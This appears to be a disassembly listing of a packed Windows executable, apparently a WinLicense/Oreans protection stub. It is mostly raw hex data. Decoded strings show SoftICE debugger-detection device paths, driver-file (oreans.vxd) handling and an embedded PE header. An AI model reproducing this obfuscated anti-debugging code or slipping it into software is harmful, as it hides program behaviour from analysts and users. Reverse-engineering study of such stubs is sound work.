loc_55D263 ; --------------------------------------------------------------------------- dw 0D631h dd 0FF4006E9h, 0E95758FFh, 0FFFEDC72h, 0B20614BDh, 45D5F756h dd 0FEF057E9h, 4EAC1FFh, 81DAF74Ah, 0FB7700C2h, 0E9D70107h dd 0FFFEEAF3h, 4EC8158h, 89000000h, 0E0892404h, 0FF3330E9h dd 5536EBFFh, 33524553h, 6C642E32h, 4441006Ch, 49504156h dd 642E3233h, 4E006C6Ch, 4C4C4454h, 6C6C642Eh, 707D700h dd 1A000400h, 0B001000h, 12003500h, 40204502h, 8C5E95Eh dd 8680000h, 0E905E99Bh, 0FFFDE343h, 0E99B7768h, 0E339E905h dd 0C468FFFDh, 0E905E99Ch, 0FFFDE32Fh, 0E99E4368h, 0E325E905h dd 0A268FFFDh, 0E905E99Eh, 0FFFDE31Bh, 0E99F8268h, 0E311E905h dd 0F868FFFDh, 0E905E99Fh, 0FFFDE307h, 9C7F73Dh, 6CAE822h dd 0C8F039h, 1CCC103Bh, 1D330B37h, 61A901B0h, 7DA8F759h dd 63A8F759h, 66A68D43h, 0A9398840h, 9C78A40Ch, 1A4CBFC6h dd 1E3C6A35h, 0DFAE46DFh, 7F5A0C11h, 0C95CEA82h, 0BB8D360Eh dd 20568E1Eh, 0A82770C5h, 0A8DBDA17h, 0FA9B5198h, 74404FD0h dd 951BBE26h, 0AE1CB4A3h, 0CF2A0C5Dh, 30EDCDFh, 2C89C520h dd 169D1363h, 0B4D32F78h, 0D27D5538h, 0A188D6E4h, 0CEAD0842h dd 0EB2CF412h, 3D6F309Ah, 20683719h, 3D42611Eh, 320E4FDDh dd 728A9h, 686E5A00h, 53735BE0h, 516956FDh, 557950FFh dd 5462ACFBh, 0C69A29F4h, 0C16EE2D8h, 0C16EE2DAh, 0DF64E4C4h dd 4267E9CDh, 79C3B500h, 0D5C0C69Ch, 547A52E5h, 82836906h dd 7C65EDC8h, 0A48BC95Fh, 0AC615C7Ah, 0D2330B43h, 0E92BE3B8h dd 0EACCDC13h, 2F7CC38Bh, 517AC10Fh, 0D4F65971h, 6241A8F6h dd 0D5F9D31Ch, 36F49328h, 0DCFF5B6Ah, 6B9h, 71DFFF25h dd 0EC2E02Ah, 8C0F821h, 4C4E823h, 5CBF33Fh, 695109B8h dd 6550FF51h, 7B50FF51h, 7EAEF55Bh, 9131F058h, 9C79BC04h dd 1244B7C6h, 6547A52h, 72C6EF39h, 28E1E5A0h, 0D9267445h dd 0A790EECEh, 5A7A4064h, 165DE1E9h, 0D7495377h, 467D8E9h dd 0F1CD113Bh, 75D84698h, 3A24FA8Fh, 6802FBh, 52440000h dd 7C424A7Ah, 0CBF3BB13h, 75E21AEEh, 6BC819C3h, 0C375E285h dd 0E26E4D9Eh, 0E25CD82Eh, 0DFC9C375h, 569A51FFh, 0ADBA1FB7h dd 0B3C95D54h, 3698BEECh, 92901DE3h, 0E6C516C6h, 0DA82C415h dd 35050D12h, 92908870h, 65A48BC6h, 0DE357041h, 0B363EDCDh dd 0D3E6BFECh, 0C692906Dh, 0E9C41566h, 5DA1818Ah, 5EC7Eh dd 7A52A800h, 1E7C424Ah, 0CC1997C6h, 0F4C5558Fh, 111C23ABh dd 2C89D925h, 0C3755D44h, 0FE3D0E5Fh, 3C58D080h, 0E5CC1BE5h dd 7DC3D6F8h, 76C37503h, 35BBC625h, 0FEB67E50h, 10054AE2h dd 10F934B3h, 0C95CF2EFh, 0EEB59BE4h, 0BBB098BEh, 5B7E5035h dd 0CCB864DEh, 7FC08ADBh, 75C20E2Eh, 0E65E7050h, 55422C99h dd 0FF280739h, 4BAA83DFh, 0C9C06F77h, 61AB86E5h, 8E15A05Dh dd 5DD701Dh, 56C56h, 0ACAA9600h, 97B797BCh, 95A592B9h dd 99BDECBBh, 98BEE8B7h, 2566DB0h, 1D2A2614h, 1D2A2616h dd 1B202808h, 8E232D31h, 7E0FF1C4h, 1904C69Ch, 3C6A35A1h dd 8AE9C01Eh, 7D4165A7h, 0E3C3CA55h, 5165509Fh, 0DECE2500h dd 1551A2F8h, 0E4CAC26Dh, 0EF2B796h, 5C375E2h, 0E0E6F934h dd 75E41CCAh, 0B52CDBC3h, 9167D98Ch, 0FFFFFEC9h, 4A7A52D5h dd 0D7207E5Ch, 0BF8EECE8h, 0A6C11D6Eh, 0B6034B4Ah, 0C95CE8B1h dd 2D3977CFh, 45638F8Ch, 84449566h, 0DA8260D8h, 0C8B26CBDh dd 651AD6EDh, 9E300121h, 6175ED6h, 4823F33Ch, 64BE4AB0h dd 6E4DE097h, 0BB185489h, 4350E8CCh, 993F109Dh, 9CED5E9Dh dd 0F43D02CAh, 0D297F6C4h, 0C8BB126Eh, 0E9D91465h, 0BB12AF14h dd 32103AC8h, 0A09483ECh, 585365Ah, 0D0F695B9h, 0A9A58C8h dd 164745Ch, 357E0000h, 3D01216Ah, 601491ECh, 88C2C329h dd 4B5D7BA7h, 0E536176Bh, 7975B099h, 9AA0EEB1h, 0A1066544h dd 0C95CEAD4h, 99A1EEC1h, 0B31B6445h, 3698BEECh, 92EA1DE3h dd 0E6C516C6h, 0F719D6EBh, 5C9098A8h, 4C6911B9h, 1CB4C7E4h dd 74FAEFFh, 0FBDBF05Fh, 73B294B4h, 9DCB0596h, 0ADF1C216h dd 973FDE12h, 0F529AB02h, 3E69402Ch, 807B3517h, 340526D7h dd 1CB687E6h, 1B71B424h, 0AF8E60DEh, 2E301827h, 13331522h dd 0DC716D6Eh, 0FEDD754Fh, 3EDh, 3D132B11h, 3A163416h dd 3414246Dh, 30183C6Fh, 311F3F6Bh, 959DD5ECh, 919CABA5h dd 8F9CABA5h, 0B29AA1AFh, 450DBCACh, 9C7C8870h, 2E988BC6h dd 1F3F6A35h, 4A4BA1DCh, 7CC5B500h, 0F1C2C95Fh, 7C5576D9h dd 88E932Dh, 5BF5C6F7h, 0A3FFDFCCh, 0AD527454h, 6A36B736h dd 8ED586A2h, 0F0000003h, 0F15EF2C4h, 0CC5BF5D5h, 0CE55FBC3h dd 0CA51FFDFh, 4352FEDCh, 4327C34h, 4307FC4h, 0E2E7FC4h dd 735375C2h, 0DFFAECDDh, 0C69C7C69h, 524F3B6Ah, 3906547Ah dd 84F3CFEFh, 115EBC9Ah, 0B2C61434h, 0D61DA129h, 0CF3B13B7h dd 24C375E4h, 0D98CE47Dh, 0FCFFE267h, 52E4FFFFh, 7E5C4A7Ah dd 3AB6D12Dh, 0E44B735Bh, 6DBC82A4h, 0F028A90Eh, 54A5C95Ch dd 45E4D4F4h, 2FE6AE42h, 84FC24B9h, 0E43199EAh, 0C95CC417h dd 0D69C331Ch, 237F5F49h, 900EEBCAh, 896E6A63h, 8D28A263h dd 64A2471Ch, 5C24F1D9h, 0C9709054h, 48A1FDDDh, 7EC2D7FFh dd 75709054h, 0E083DB24h, 0D89ADD6Ah, 7A1569BAh, 9A3F9776h dd 7AB8A503h, 3FE7EF38h, 0D4172710h, 418FAFF9h, 0F8CD2FAh dd 1E19F2E2h, 0AEAD2E0Ah, 0D0000002h, 0D17ED2E4h, 2C7BD5F5h dd 2E75DBE3h, 2A71DFFFh, 0A372DEFCh, 64525C14h, 64505FE4h dd 6E4E5FE4h, 537355E2h, 3F9ACCFDh, 0C69C7D49h, 26F5B4Ah dd 12A72FEEh, 0C95F7CB2h, 0D8B3E840h, 0BD269F70h, 2ABC8D7Eh dd 0AE200005h, 56A48481h, 13383477h, 0F8B01A3Ah, 960077A3h dd 1D6540C3h, 40288DB5h, 43C69C25h, 0CCDC3372h, 0C2D235EAh dd 0C21E6A36h, 23899h, 587EAA00h, 4363ABF0h, 4179A68Dh dd 4569A08Fh, 4472BC8Bh, 0D68A3984h, 0D17ED2E8h, 0D17ED2EAh dd 2F74D4F4h, 0B277D9FDh, 7D338510h, 0C530C69Ch, 2FEE0295h dd 7CB212A7h, 68B9C95Fh, 0EFCFD966h, 6C7258E7h, 70FC3F0Eh dd 4D7CF44Ch, 8B52D343h, 35D615A8h, 6FAE389Dh, 7445C69Ch dd 0F286BE26h, 263CE5B2h, 0B8E6CD28h, 2767C882h, 93D23B07h dd 101E25AFh, 0D17E262Ah, 0BA0EABEAh, 0B9C69C1Ah, 0A1DC1F68h dd 0B401494Ah, 0C69C1AD4h, 0D55B7E26h, 0EEC69C1Ah, 9CED5E9Dh dd 0C69C72CAh, 2FE98FB3h, 8385F2CCh, 28775FA3h, 25FADCE2h dd 7218E5Dh, 3B185093h, 3403CD11h, 0A0983214h, 251E8CA5h dd 0F2C78F54h, 0C69CC70Eh, 89F93405h, 8D711008h, 784674A2h dd 783D211h, 314A63A5h, 357D7212h, 75C20E5Fh, 0C02F7353h dd 0F69AE0D6h, 0A5E74545h, 0B6E04F81h, 52ABA80h, 8DDC2202h dd 9AEBF5AEh, 4D75D7F3h, 0FA3E5104h, 0F1D984EBh, 9C215C24h dd 350657C6h, 34020C1Bh, 0F146FEE6h, 0BB475AF4h, 0C5FAFFF4h dd 0BDCABFDh, 0E0C0C528h, 5666AD9Ah, 0C4F03F08h, 65CBEEF6h dd 7EC69C41h, 9C3A712Dh, 64DC9412h, 795AB2F1h, 0C190D364h dd 1F3F6BB9h, 9EA0E8B7h, 691FE134h, 0CB14C69Ch, 97B864E8h dd 634A90B4h, 0A2FB2D00h, 9C69A117h, 51A2C6h, 0C137473Ah dd 0F2997E00h, 725474D4h, 4B6E16DEh, 7D2910E5h, 634EADFEh dd 0CE390529h, 5BA4FAC0h, 360E6C70h, 0B714AB3Fh, 0F7220DD9h dd 68DBFBC7h, 0EAC8C26Eh, 8564B594h, 2464C4C2h, 2761CE02h dd 509C3B07h, 955D054Dh dd 29CDB800h, 0BD16327Dh, 0CED07EA9h, 0C8DD2C7Dh, 3F2C8DE8h dd 0B47700D0h, 1639E56Bh, 0E0C91535h, 13F2FE85h, 38861EBBh dd 7C4D0D1Ch, 0AEF7D11Eh, 593CA50Bh, 5873BE09h, 0F6C72674h dd 8C9CABA5h, 39E154AAh, 28D533BBh, 818B19A1h, 848493BDh dd 38135CA2h, 29B2C614h, 3B0903A1h, 9BF2C80Ch, 0F33F004Ah dd 0DF64E8CBh, 0C695E9CDh, 11h, 0C2EB230Ch, 17CC008Fh dd 0EECC1D1Ch, 230A5C9Fh, 5066526Fh, 0CBEB3D0Ah, 0A38388F7h dd 1125105Fh, 86B4E2CDh, 7B434FB8h, 0EDF1D827h, 4179A691h dd 3A18327Dh, 895102E4h, 4BA52E1h, 1000000h, 0E9835AD1h dd 240C8704h, 43D5685Ch, 0C890000h, 0E7895724h, 4C781h dd 0EF830000h, 243C8704h, 2404895Ch, 76ACBA52h, 0F2814646h dd 788664CDh, 2B9FCA81h, 0EA81078Dh, 39E3A190h, 545AD189h dd 8324048Bh, 0EC8104C4h, 4, 8F240C89h, 48B0840h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 56240C8Bh, 0C681E689h dd 4, 4C681h, 34870000h, 94E95C24h, 0EAFFFDDAh, 6BE4B718h dd 0C53638C7h, 0B896E534h, 5E9A255h, 0E0FFC503h, 3C9172A7h dd 515868A6h, 7B773C57h, 55C907D9h, 17F85773h, 45A10BB9h dd 8F016D2h, 1438FF90h, 6948E40Dh, 1BBA5717h, 3262E0FEh dd 1F3E96E5h, 14C5098h, 2EA1ABAAh, 3A4F5EA9h, 5B3F49DDh dd 4FE916A6h, 166E86EDh, 62289373h, 10903F8Dh, 4F33B979h dd 1019C8CCh, 2EEEFFE2h, 4330009Fh, 75BADF69h, 6B8C9347h dd 5C26C668h, 8E8h, 7DF8F100h, 4207F29Ah, 0BBC88156h, 5A2A9AA1h dd 0EFE08166h, 46C281A1h, 0F8000061h, 182668h, 0C0BF6600h dd 32FF5BDEh, 0F59F88Bh, 88h, 5EF18100h, 0E95ECD9Eh, 7 dd 0C5692D66h, 817F057Dh, 791281C1h, 10E92Ah, 200D0000h dd 20ED1585h, 347EE2A5h, 0C1DC1044h, 0C18191B0h, 613BA6BAh dd 38B0Fh, 8B660000h, 830A89F2h, 4AF902EAh, 50BE534Ah dd 5E34D3F9h, 15850F4Bh, 0B8000000h, 136C8310h, 26E9h dd 30F3D00h, 2DC09768h, 775196D3h, 0E9F18B66h, 0FFFFFF86h dd 8333C244h, 9867DE1Dh, 0B0B03ABCh, 48211216h, 0E9DFB7C9h dd 72h, 0D5BD8360h, 5E730h, 5840Fh, 5DE90000h, 6A000000h dd 303E8000h, 8850Fh, 6A0000h, 35E946h, 3E800000h, 8850F33h dd 6A000000h, 24E94610h, 80000000h, 850F343Eh, 8, 0E946306Ah dd 13h, 0F353E80h, 885h, 46406A00h, 2E9h, 8D006A00h, 0E7148985h dd 90509005h, 24348950h, 95FF006Ah, 5E70AA9h, 85C6C361h dd 5E707F9h, 40D3684Dh, 4814DCAh, 6B35D524h, 0C5B5FF56h dd 8D05E713h, 0E7391785h, 89D0FF05h, 0E70AA985h, 0AAE905h dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h dd 4E4963h, 636F7250h, 54554Fh, 74697845h, 45004E49h, 4F746978h dd 54005455h, 4E4970h, 3 dup(0) dd 77DDAF7Fh, 77DD72F0h, 596E9h, 57858900h, 8D05E9A5h dd 0E9A55385h, 858D5005h, 5E9A4BDh, 16850h, 95FF8000h dd 5E9A563h, 0B5FF196Ah, 5E9A557h, 6A016Ah, 0A4EC858Dh dd 0FF5005E9h, 0E9A553B5h, 595FF05h, 0FF05E702h, 0E9A553B5h dd 5F95FF05h, 0FF05E9A5h, 0E9A553B5h, 5195FF05h, 0C305E709h dd 0A5578589h, 858D05E9h, 5E9A553h, 0BD858D50h, 5005E9A4h dd 168h, 6395FF80h, 6A05E9A5h, 57858D04h, 5005E9A5h, 6A046Ah dd 0A516858Dh, 0FF5005E9h, 0E9A553B5h, 595FF05h, 0FF05E702h dd 0E9A553B5h, 5F95FF05h, 0FF05E9A5h, 0E9A553B5h, 5195FF05h dd 0C305E709h, 0A5578589h, 858D05E9h, 5E9A553h, 0BD858D50h dd 5005E9A4h, 168h, 6395FF80h, 6A05E9A5h, 57858D04h, 5005E9A5h dd 6A046Ah, 0A4FE858Dh, 0FF5005E9h, 0E9A553B5h, 595FF05h dd 0FF05E702h, 0E9A553B5h, 5F95FF05h, 0FF05E9A5h, 0E9A553B5h dd 5195FF05h, 0C305E709h, 0A5578589h, 858D05E9h, 5E9A553h dd 0BD858D50h, 5005E9A4h, 168h, 6395FF80h, 6A05E9A5h, 57858D04h dd 5005E9A5h, 6A046Ah, 0A529858Dh, 0FF5005E9h, 0E9A553B5h dd 595FF05h, 0FF05E702h, 0E9A553B5h, 5F95FF05h, 0FF05E9A5h dd 0E9A553B5h, 5195FF05h, 0C305E709h, 0A5578589h, 858D05E9h dd 5E9A553h, 0BD858D50h, 5005E9A4h, 168h, 6395FF80h, 6A05E9A5h dd 57858D04h, 5005E9A5h, 6A046Ah, 0A4D9858Dh, 0FF5005E9h dd 0E9A553B5h, 595FF05h, 0FF05E702h, 0E9A553B5h, 5F95FF05h dd 0FF05E9A5h, 0E9A553B5h, 5195FF05h, 0C305E709h, 2045BD83h dd 0F0005E7h, 0B84h, 459D8B00h, 8305E720h, 3894CC3h, 45BD83C3h dd 5E720h, 0B840Fh, 9D8B0000h, 5E72045h, 8950C383h, 0BD83C303h dd 5E72045h, 0B840F00h, 8B000000h, 0E720459Dh, 54C38305h dd 83C30389h, 0E72045BDh, 840F0005h, 0Bh, 20459D8Bh, 0C38305E7h dd 0C3038958h, 2045BD83h, 0F0005E7h, 0B84h, 459D8B00h dd 8305E720h, 3895CC3h, 8960C3C3h, 0E9A55785h, 53858D05h dd 5005E9A5h, 0A4BD858Dh, 685005E9h, 80000001h, 0A56395FFh dd 46A05E9h, 0A557858Dh, 6A5005E9h, 8D006A04h, 0E9A54E85h dd 0B5FF5005h, 5E9A553h, 20595FFh, 0BD8305E7h, 5E70D79h dd 0C840F00h, 0FF000000h, 0E9A553B5h, 5F95FF05h, 0FF05E9A5h dd 0E9A553B5h, 5195FF05h, 6105E709h, 858960C3h, 5E9A557h dd 0A553858Dh, 8D5005E9h, 0E9A4BD85h, 1685005h, 0FF800000h dd 0E9A56395h, 8D046A05h, 0E9A55785h, 46A5005h, 858D006Ah dd 5E9A530h, 53B5FF50h, 0FF05E9A5h, 0E7020595h, 79BD8305h dd 5E70Dh, 0C840Fh, 0B5FF0000h, 5E9A553h, 0A55F95FFh, 0B5FF05E9h dd 5E9A553h, 95195FFh, 0C36105E7h, 57858960h, 8D05E9A5h dd 0E9A55385h, 858D5005h, 5E9A4BDh, 16850h, 95FF8000h dd 5E9A563h, 858D046Ah, 5E9A557h, 6A046A50h, 37858D00h dd 5005E9A5h, 0A553B5FFh, 95FF05E9h, 5E70205h, 0D79BD83h dd 0F0005E7h, 0C84h, 53B5FF00h, 0FF05E9A5h, 0E9A55F95h dd 53B5FF05h, 0FF05E9A5h, 0E7095195h, 60C36105h, 0A5578589h dd 858D05E9h, 5E9A553h, 0BD858D50h, 5005E9A4h, 168h, 6395FF80h dd 6A05E9A5h, 57858D04h, 5005E9A5h, 6A046Ah, 0A53F858Dh dd 0FF5005E9h, 0E9A553B5h, 595FF05h, 8305E702h, 0E70D79BDh dd 840F0005h, 0Ch, 0A553B5FFh, 95FF05E9h, 5E9A55Fh, 0A553B5FFh dd 95FF05E9h, 5E70951h, 8960C361h, 0E9A55785h, 53858D05h dd 5005E9A5h, 0A4BD858Dh, 685005E9h, 80000001h, 0A56395FFh dd 46A05E9h, 0A557858Dh, 6A5005E9h, 8D006A04h, 0E9A54685h dd 0B5FF5005h, 5E9A553h, 20595FFh, 0BD8305E7h, 5E70D79h dd 0C840F00h, 0FF000000h, 0E9A553B5h, 5F95FF05h, 0FF05E9A5h dd 0E9A553B5h, 5195FF05h, 6105E709h, 85C760C3h, 5E9A557h dd 1, 0A553858Dh, 8D5005E9h, 0E9A4BD85h, 2685005h, 0FF800000h dd 0E9A56395h, 0FC00B05h, 0F84h, 5785C700h, 5E9A5h, 0E9000000h dd 4Dh, 858D046Ah, 5E9A557h, 6A046A50h, 0D1858D00h, 5005E9A4h dd 0A553B5FFh, 95FF05E9h, 5E70205h, 840FC00Bh, 0Fh, 0A55785C7h dd 5E9h, 0AE90000h, 0C7000000h, 0E9A55785h, 105h, 53B5FF00h dd 0FF05E9A5h, 0E7095195h, 858B6105h, 5E9A557h, 858960C3h dd 5E9A557h, 0A553858Dh, 8D5005E9h, 0E9A4BD85h, 1685005h dd 0FF800000h, 0E9A56395h, 8D046A05h, 0E9A55785h, 46A5005h dd 858D006Ah, 5E9A4D1h, 53B5FF50h, 0FF05E9A5h, 0E7020595h dd 79BD8305h, 5E70Dh, 0C840Fh, 0B5FF0000h, 5E9A553h, 0A55F95FFh dd 0B5FF05E9h, 5E9A553h, 95195FFh, 0C36105E7h, 57858960h dd 8D05E9A5h, 0E9A55385h, 858D5005h, 5E9A4BDh, 16850h dd 95FF8000h, 5E9A563h, 858D046Ah, 5E9A557h, 6A046A50h dd 0E3858D00h, 5005E9A4h, 0A553B5FFh, 95FF05E9h, 5E70205h dd 0D79BD83h, 0F0005E7h, 0C84h, 53B5FF00h, 0FF05E9A5h dd 0E9A55F95h, 53B5FF05h, 0FF05E9A5h, 0E7095195h, 0C6C36105h dd 0E707F985h, 7685205h, 0FFADE47Bh, 0E705F1B5h, 5595FF05h dd 8905E731h, 0E9A56385h, 0F985C605h, 5205E707h, 2E00E568h dd 0F1B5FF90h, 0FF05E705h, 0E7315595h, 5F858905h, 0C605E9A5h dd 0E707F985h, 35685205h, 0FFB9BF12h, 0E705F1B5h, 5595FF05h dd 8905E731h, 0E7020585h, 0F985C605h, 5205E707h, 78103468h dd 0F1B5FF98h, 0FF05E705h, 0E7315595h, 51858905h, 0C605E709h dd 0E707F985h, 0D4685205h, 0FFC005DBh, 0E705F1B5h, 5595FF05h dd 8905E731h, 0E70AC185h, 5C1EEB05h, 535C2E5Ch, 454349h dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h dd 8BC08B00h, 79BD83C8h, 5E70Dh, 0BD830975h, 5E71C15h dd 50197400h, 0B8C08B53h, 40Fh, 13D58589h, 9D8D05E7h, 5E9AA34h dd 585BD3FFh, 1C15BD83h, 740005E7h, 0B8535017h, 40Fh, 13D58589h dd 9D8D05E7h, 5E9A723h, 585BD3FFh, 13E9h, 0B7D4B100h, 0B4E4A280h dd 1806CF5h, 1FDA833Ah, 18239340h, 1C75BD89h, 0C08B05E7h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0AAC35545h dd 3A40300Ch, 0C63127FCh, 0E707F985h, 95294305h, 5E70B4Dh dd 34194968h, 49BE5188h, 5F480AD6h, 0B3240481h, 29345A55h dd 0E7090D9Dh, 25B5FF05h, 0F05E70Ch, 858DFFB7h, 5E73917h dd 0E8A0Fh, 8B600000h, 0E715E98Dh, 860F05h, 61000000h dd 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 326C5FC3h, 81B25D03h, 0C5F68166h, 6660902Dh dd 0E83B5EB9h, 0Fh, 208B0360h, 0E387BBD3h, 7448463Bh, 505CF7D1h dd 5A310F52h, 50615B58h, 6A90D68Bh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 6601C356h dd 0DB58BB2h, 8B05E72Dh, 0E731F5BDh, 55BD2B05h, 6A05E72Ah dd 0ED958900h, 6805E727h, 977D4268h, 0BE95250h, 0DC000000h dd 8469CA5Fh, 0F7F9E7CEh, 310F11F4h, 5AF28B66h, 24048158h dd 6882BE18h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 15h, 46C35343h, 36AF8E2h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DFC35242h dd 313C3E42h, 0B953E3E9h, 1721FDEEh, 0E9006A5Ah, 13h, 0E2D7FB2Ch dd 0A3E26888h, 0D744890Fh, 0B88E57E5h, 6071DB19h, 0D9B70F57h dd 3810F5Eh, 0F000000h, 6A61C9B7h, 42F3BE03h, 4E858C2h dd 0 dd 0E9C00000h, 13h, 0B5D37AC0h, 0E2554949h, 0D07B1D8Eh dd 30515947h, 5086BE5Fh, 9350B966h, 424448Bh, 0FE8h, 4DCE500h dd 9417F361h, 0E14A8DAAh, 0FB3F67CBh, 52008B5Fh, 7D6CB966h dd 2444895Fh, 8D0F5204h, 5, 5AB7AABEh, 0F9585926h, 0AB9A9D8Dh dd 958B05E9h, 5E73105h, 2CBF5150h, 5E0397B8h, 0F8241C89h dd 8166D0FFh, 4050E8F1h, 1EF850Fh, 58F90000h, 85BD8Bh dd 509005E7h, 0A8A0Fh, 5E90000h, 0D2000000h, 0FEAEF161h dd 0C9B58B90h, 6A05E70Ch, 62BE6600h, 7F0C68FBh, 0BA66A5C7h dd 4817AB4h, 38817424h, 61BD895Ah, 6A05E702h, 53006A03h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h, 0C3534300h dd 0F5403CDFh, 0BA66006Ah, 36AE6E8h, 785B529h, 7B6805E7h dd 0B9BE2593h, 74774918h, 85240481h, 6601DA6Ch, 9D8DF18Bh dd 5E9ABA3h, 21B18D8Bh, 509305E7h, 8A0F52h, 0F000000h dd 14E831h, 0DE4C0000h, 2746B000h, 87D441ABh, 0B8C09C32h dd 0BAA35F4Bh, 0F98B242Bh, 50585A59h, 57006A93h, 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h dd 0E63DC716h, 6840Fh, 0B5030000h, 5E722E1h, 9919589h dd 0D0FF05E7h, 66EF8166h, 890F61h, 40000000h, 0F3850Fh dd 0B70F0000h, 48B966CAh, 0B5035839h, 5E720E1h, 0F890F50h dd 50000000h, 0D78B6652h, 5250310Fh, 585A310Fh, 489585Ah dd 0BDBD8B24h, 6A05E70Ah, 0B9665100h, 0E85EAB4Ah, 4, 80h dd 3820Fh, 8B660000h, 0CE8B50F1h, 424448Bh, 6660008Bh dd 67B9F78Bh, 6110FF58h, 4244489h, 58CA8B66h, 6A0AD980h dd 13E803h, 9B2C0000h, 57E11EF2h, 0C80E45EAh, 5C5D065Fh dd 109415D2h, 81B58B4Ch, 5A05E702h, 36A006Ah, 6E03E168h dd 81FB8BB0h, 0FC1F2404h, 9D8D0F91h, 5E9ABAEh, 30B9B533h dd 665005E7h, 1C89FA8Bh, 0FE924h, 0B0B00000h, 48211216h dd 4DDFB7C9h, 9CEFB695h, 23D0FFEFh, 0E70E1995h, 38F2BF05h dd 0F407CD1h, 2085h, 68F0F00h, 8B000000h, 0E713A1BDh, 85895805h dd 5E70725h, 0E9FABF0Fh, 102h, 0B0D78166h, 2BD88BF4h, 0E70785B5h dd 8B534B05h, 89585FD6h, 0E72B41BDh, 2BD28005h, 7F985C6h dd 664305E7h, 7AE4DA81h, 4E8h, 764AA700h, 3850FC0h, 66000000h dd 8B50FA8Bh, 0F042444h, 1984h, 14E900h, 0BA7B0000h, 20FD2453h dd 899A9A15h, 35850079h, 69B4A899h, 8B1BDEh, 5A89B157h dd 4244489h, 28E0Fh, 0D08B0000h, 71858958h, 0FF05E72Fh dd 0E70C25B5h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 89249F07h, 2CCFDA93h dd 0D9812B9Ah, 515143C8h, 3917858Dh, 9D8905E7h, 5E7062Dh dd 850FD0FFh, 0Fh, 0AE9h, 0D9CCBE00h, 4DBAB54Ah, 895EA2C2h dd 0E703B5BDh, 43B65005h, 8A241C89h, 0FD0FFF7h, 681h, 15958B00h dd 8D05E705h, 0E771899Dh, 51ADBA05h, 1B83EBCh, 89000000h dd 0E7004585h, 0FCE3FF05h, 0C18BF08Bh, 5E18D89h, 0B58905E7h dd 5E71785h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 170424h, 51410000h, 8780C2C3h, 79BD83EEh, 5E70Dh, 0BD830975h dd 5E71C15h, 50197400h, 0B8C08B53h, 40Fh, 0F2D8589h, 9D8D05E7h dd 5E9AA9Bh, 585BD3FFh, 1C15BD83h, 740005E7h, 0B8535017h dd 40Fh, 0F2D8589h, 9D8D05E7h, 5E9A73Ch, 585BD3FFh, 87EA8166h dd 0B58B6019h, 5E70895h, 0E8C08B61h, 9, 56B805DCh, 0DF142CB1h dd 18B966C0h, 8B665A53h, 1C281F8h, 29000070h, 0E704F5BDh dd 1BD9B805h, 0CE8B0000h, 9D23328Bh, 5E70779h, 3940C681h dd 13E8645Eh, 0E7000000h, 0C2A84729h, 0F26093AFh, 5AB1BCA5h dd 0D2658BE6h, 9D31EA64h, 5E70645h, 2AC6815Fh, 8B0D61D3h dd 0E716D99Dh, 0D2EE8105h, 177A7A5h, 0E73191BDh, 0E9805605h dd 0F028F0Dh, 684h, 0DD8D3300h, 8305E70Ch, 0E96004EAh dd 9, 0F82E50D5h, 0CE496010h, 45958BD2h, 6105E701h, 0F01E883h dd 0FFFF8785h, 8CB966FFh, 20EE95Bh, 43330000h, 6F6E6E61h dd 72772074h, 20657469h, 6165726Fh, 762E736Eh, 0D0A6478h dd 656B614Dh, 72757320h, 68742065h, 74207461h, 20736968h dd 656C6966h, 20736920h, 20746F6Eh, 6E696562h, 73752067h dd 62206465h, 6E612079h, 6568746Fh, 72702072h, 6172676Fh dd 2E6Dh, 67h dup(0) dd 4F5C0000h, 6E616572h, 78762E73h, 64h, 2 dup(0) dd 0EFE9h, 0F985C600h, 4705E707h, 0E45B8668h, 25B5FFE3h dd 8D05E70Ch, 0E7391785h, 68D0FF05h, 104h, 2FA59D8Dh, 0FF5305E7h dd 0B58D50D0h, 5E9B451h, 0C032FE8Bh, 0F9850FAEh, 2BFFFFFFh dd 58CF8BFEh, 0F803FB8Bh, 85C6A4F3h, 5E707F9h, 6EFC6843h dd 0B5FFBC8Eh, 5E70C25h, 3917858Dh, 0D0FF05E7h, 2FA5B58Dh dd 6A05E7h, 8068h, 6A026A00h, 68006A00h, 0C0000000h, 8BD0FF56h dd 0F985C6D8h, 5705E707h, 9BEE5668h, 25B5FFA6h, 8D05E70Ch dd 0E7391785h, 8DD0FF05h, 0E70B9DBDh, 778D8D05h, 6A05E9B5h dd 0D0685700h, 51000037h, 85D0FF53h, 1B850FC0h, 8D000000h dd 0E9B259B5h, 1F858D05h, 0FF05E9A4h, 898D8DD0h, 0B805E771h dd 0 dd 85C6E1FFh, 5E707F9h, 4AA76843h, 0B5FFC076h, 5E70C25h dd 3917858Dh, 0D0FF05E7h, 0C3D0FF53h, 37D0B9h, 0E800h dd 83580000h, 8890EC0h, 2E9h, 0E9C38B00h, 37D0h, 905A4Dh dd 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0B0h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 0 dd 0DB1D175Dh, 3 dup(88737619h), 886156E5h, 88737618h dd 88737619h, 88737618h, 68636952h, 88737619h, 2 dup(0) dd 454Ch, 0 dd 40002h, 0 dd 38000h, 14h, 4 dup(0) dd 200h, 1C0h, 90h, 0 dd 7Eh, 0 dd 0C4h, 1, 0DCh, 